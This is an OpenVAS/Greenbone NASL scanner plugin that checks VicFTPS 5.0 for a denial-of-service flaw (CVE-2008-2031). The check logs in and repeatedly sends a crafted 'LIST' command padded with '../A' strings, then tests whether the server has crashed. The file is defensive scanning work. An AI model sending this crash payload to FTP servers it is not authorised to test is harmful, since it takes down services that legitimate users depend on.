VicFTPS 'LIST' Command Remote Denial of Service Vulnerability

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103091");
  script_version("2023-12-20T05:05:58+0000");
  script_tag(name:"last_modification", value:"2023-12-20 05:05:58 +0000 (Wed, 20 Dec 2023)");
  script_tag(name:"creation_date", value:"2011-02-25 13:54:37 +0100 (Fri, 25 Feb 2011)");
  script_cve_id("CVE-2008-2031");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");

  script_name("VicFTPS 'LIST' Command Remote Denial of Service Vulnerability");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/46546");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_category(ACT_DENIAL);
  script_family("FTP");
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_dependencies("ftpserver_detect_type_nd_version.nasl", "logins.nasl");
  script_require_ports("Services/ftp", 21);
  script_mandatory_keys("ftp/vicftps/detected");

  script_tag(name:"summary", value:"VicFTPS is prone to a remote denial-of-service vulnerability because
  it fails to handle specially crafted input.");

  script_tag(name:"impact", value:"Successfully exploiting this issue will allow an attacker to crash the
  affected application, denying further service to legitimate users. Arbitrary code execution may also be possible.
  This has not been confirmed.");

  script_tag(name:"affected", value:"VicFTPS 5.0 is vulnerable. Other versions may also be affected.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of
  this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer release,
  disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("ftp_func.inc");
include("misc_func.inc");
include("port_service_func.inc");

ftpPort = ftp_get_port(default:21);
banner = ftp_get_banner(port:ftpPort);
if(!banner || "VicFTPS" >!< banner)
  exit(0);

soc = open_sock_tcp(ftpPort);
if(!soc){
  exit(0);
}

banner = ftp_recv_line(socket:soc);
ftp_close(socket:soc);
if(!banner || "VicFTPS" >!< banner){
  exit(0);
}

kb_creds = ftp_get_kb_creds();
user = kb_creds["login"];
pass = kb_creds["pass"];

for(i = 0; i < 5; i++ ) {
  soc1 = open_sock_tcp(ftpPort);
  login_details = ftp_log_in(socket:soc1, user:user, pass:pass);
  if(login_details) {
    buf = string("LIST ",crap(data:"../A",length:100),"\r\n");
    send(socket:soc1, data:buf);
    close(soc1);
    sleep(1);
  }
}

sleep(5);
soc = open_sock_tcp(ftpPort);

if(!soc) {
  security_message(port:ftpPort);
  exit(0);
} else {
  close(soc);
}

exit(0);